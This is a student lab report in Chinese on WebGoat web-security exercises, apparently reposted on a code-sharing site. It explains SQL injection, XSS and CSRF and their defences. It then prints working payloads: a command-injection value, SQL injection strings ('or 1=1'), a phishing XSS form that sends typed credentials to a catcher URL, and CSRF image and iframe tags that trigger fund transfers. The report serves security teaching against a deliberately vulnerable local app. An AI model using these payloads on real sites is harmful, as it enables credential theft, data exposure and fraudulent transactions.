2018-2019-2 20165320 《网络对抗技术》 Exp9 Web安全基础

2018-2019-2 20165320 《网络对抗技术》 Exp9 Web安全基础,第1张

概述2018-2019-2 20165320 《网络对抗技术》 Exp9 Web安全基础 目录: SQL注入: Command Injection Log Spoofing Numeric SQL Injection String SQL Injection XSS 攻击: Phishing with XSS Stored XSS Attacks CSRF攻击: Cross Site Request
2018-2019-2 20165320 《网络对抗技术》 Exp9 Web安全基础
目录:

sql注入:

Command Injection

Log Spoofing

Numeric sql Injection

String sql Injection

XSS 攻击:

Phishing with XSS

Stored XSS Attacks

CSRF攻击:

Cross Site Request Forgery

CSRF Prompt By‐Pass

一、实践回答问题 (1)sql注入攻击原理,如何防御?

原理:sql注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是sql语法里的一些组合,通过执行SQL语句进而执行攻击者所要的 *** 作,使非法数据侵入系统。

防御措施如下:

对输入的数据进行过滤,过滤掉敏感字符。加密数据库。

关闭或删除不必要的交互式提交表单页面。

普通用户与系统管理员用户的权限要有严格的区分。

(2)XSS攻击的原理,如何防御?

原理:XSS攻击(跨站脚本攻击)是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。

防御:

提高用户防范意识,不轻易输入个人信息

对所有用户提交内容进行可靠的输入验证,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。

(3)CSRF攻击原理,如何防御?

原理:CSRF(Cross-site request forgery)跨站请求伪造是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。

防御:

使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在Session里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,否则返回 http 403 拒绝请求或者要求用户重新登陆验证身份。

将提交方法改为post,或将 GET请求设置为只浏览而不改变服务器端资源

定期清理掉没用的缓存

二、实践内容 (1)Webgoat安装:

首先从Webgoat官网下载相关.jar包

在Kali端输入:java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar运行

浏览器输入:http://localhost:8080/WebGoat进入WebGoat登录界面,输入默认的用户名密码登录

在使用前需要确认8080端口有没有被占用:netstat -tupln | grep 8080

(2)sql 注入攻击 1.命令注入:Command Injection

在网页的源码中注入netstatifconfig命令:

首先右击页面,选择inspect Element进入审查

选择复选框中的一行,修改为:"& netstat -an & ipconfig"

单击vIEw可以观察到攻击的成果

2.日志欺骗:Log Spoofing

通过在日志文件中插入脚本实现欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。

Username中填入20165320%0d%0aLogin Succeeded !admin

3.数字型注入:Numeric sql Injection

在station字段中注入特征字符,组合成新的SQL语句。注入永真式达到达到注入的效果。

右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1

显示天气情况:

4.字符串注入:String sql Injection

通过向数据库注入字符串绕过相关登录认证 *** 作

输入查询的用户名SQ‘ or 1=1--

得到所有用户的xyk号码:

(3)XSS攻击 5.XSS 钓鱼 :Phishing with XSS

当用户输入非法http响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。

创建一个表单代码,要求填写用户名与密码:

</form>  <script>  function Hack(){        XSSImage=new Image;       XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";       alert("Had this been a real attack... Your credentials were just stolen. User name = " + document.phish.user.value + " Password = " + document.phish.pass.value);   }   </script>  <form name="phish">  <br>  <br>  <HR>      <H2>This feature requires account login:</H2>  <br>   <br>Enter Username:<br>    <input type="text" name="user">     <br>Enter Password:<br>     <input type="password" name = "pass">  <br>      <input type="submit" name="login" value="login" onclick="Hack()">  </form>  <br>  <br>  <HR>

将该代码粘贴到Search输入框中,点击搜索:

填写表单,点击登录,获取相关信息:

6.存储型XSS攻击:Stored XSS Attacks

这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

在Title中任意输入字符,留言板中输入:

(4)CSRF攻击 7.跨站请求伪造:Cross Site Request Forgery

跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。

在Title中输入任何参数,message框中输入:<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=8888" wIDth="1" height="1" />

以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的),用户一旦点击图片,就会触发一个CSRF事件,点击submit提交

8.绕过 CSRF 确认:CSRF Prompt By‐Pass

跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它.

并在Title框中输入学号,message框中输入代码:

<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>  <iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>

点击 submit 生成相关链接:

总结

以上是内存溢出为你收集整理的2018-2019-2 20165320 《网络对抗技术》 Exp9 Web安全基础全部内容,希望文章能够帮你解决2018-2019-2 20165320 《网络对抗技术》 Exp9 Web安全基础所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/web/1076041.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-26
下一篇 2022-05-26

发表评论

登录后才能评论

评论列表(0条)

保存